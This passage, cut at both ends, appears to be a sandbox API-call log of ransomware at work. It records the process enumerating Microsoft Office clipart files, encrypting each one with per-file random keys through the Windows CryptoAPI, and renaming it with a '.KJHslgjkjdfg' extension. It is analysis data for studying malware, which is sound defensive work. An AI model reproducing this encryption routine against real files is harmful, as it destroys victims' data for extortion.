nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.212] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.212] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.212] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.212] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.212] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.212] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.213] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.213] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.213] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1418, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1418, lpOverlapped=0x0) returned 1 [0207.214] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1420, dwBufLen=0x1420 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1420) returned 1 [0207.214] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.214] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1420, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1420, lpOverlapped=0x0) returned 1 [0207.214] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.214] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x14f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.214] SetEndOfFile (hFile=0x130) returned 1 [0207.216] GetProcessHeap () returned 0x990000 [0207.216] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.216] GetProcessHeap () returned 0x990000 [0207.216] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.216] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf.kjhslgjkjdfg")) returned 1 [0207.218] CloseHandle (hObject=0x130) returned 1 [0207.218] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE01797_.WMF", cAlternateFileName="")) returned 1 [0207.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.219] GetProcessHeap () returned 0x990000 [0207.219] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.219] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.219] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.219] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0207.222] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.222] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.222] GetProcessHeap () returned 0x990000 [0207.222] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.222] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.222] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.222] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.222] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.222] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.222] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.223] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.223] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.223] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.223] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.223] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.223] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xdda, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xdda, lpOverlapped=0x0) returned 1 [0207.223] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xde0, dwBufLen=0xde0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xde0) returned 1 [0207.223] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.223] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xde0, lpOverlapped=0x0) returned 1 [0207.223] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.223] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xeb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.223] SetEndOfFile (hFile=0x130) returned 1 [0207.226] GetProcessHeap () returned 0x990000 [0207.226] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.226] GetProcessHeap () returned 0x990000 [0207.226] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.226] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf.kjhslgjkjdfg")) returned 1 [0207.228] CloseHandle (hObject=0x130) returned 1 [0207.228] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x23d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02120_.WMF", cAlternateFileName="")) returned 1 [0207.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.229] GetProcessHeap () returned 0x990000 [0207.229] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.229] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.229] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.229] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0207.231] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.231] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.231] GetProcessHeap () returned 0x990000 [0207.231] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.231] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.231] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.231] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.232] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.232] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.232] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.232] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.232] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.232] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.232] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.232] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.232] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x23d4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x23d4, lpOverlapped=0x0) returned 1 [0207.234] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x23e0, dwBufLen=0x23e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x23e0) returned 1 [0207.234] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.234] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x23e0, lpOverlapped=0x0) returned 1 [0207.234] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.234] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x24b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.234] SetEndOfFile (hFile=0x130) returned 1 [0207.237] GetProcessHeap () returned 0x990000 [0207.237] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.237] GetProcessHeap () returned 0x990000 [0207.237] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.237] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf.kjhslgjkjdfg")) returned 1 [0207.239] CloseHandle (hObject=0x130) returned 1 [0207.239] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fc4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02169_.WMF", cAlternateFileName="")) returned 1 [0207.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.241] GetProcessHeap () returned 0x990000 [0207.241] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.241] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.241] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.241] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0207.243] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.243] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.243] GetProcessHeap () returned 0x990000 [0207.243] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.243] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.244] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.244] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.244] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.244] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.244] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.244] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.244] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.244] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.244] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.245] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.245] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1fc4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1fc4, lpOverlapped=0x0) returned 1 [0207.246] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1fd0, dwBufLen=0x1fd0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1fd0) returned 1 [0207.246] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.246] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1fd0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1fd0, lpOverlapped=0x0) returned 1 [0207.246] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.246] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x20a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.246] SetEndOfFile (hFile=0x130) returned 1 [0207.249] GetProcessHeap () returned 0x990000 [0207.249] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.249] GetProcessHeap () returned 0x990000 [0207.249] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.249] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf.kjhslgjkjdfg")) returned 1 [0207.251] CloseHandle (hObject=0x130) returned 1 [0207.251] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8378b700, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8378b700, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x75e2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02262_.WMF", cAlternateFileName="")) returned 1 [0207.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.252] GetProcessHeap () returned 0x990000 [0207.252] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.252] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.252] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.253] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0207.255] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.255] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.255] GetProcessHeap () returned 0x990000 [0207.255] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.255] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.255] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.255] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.255] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.255] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.256] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.256] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.256] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.256] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 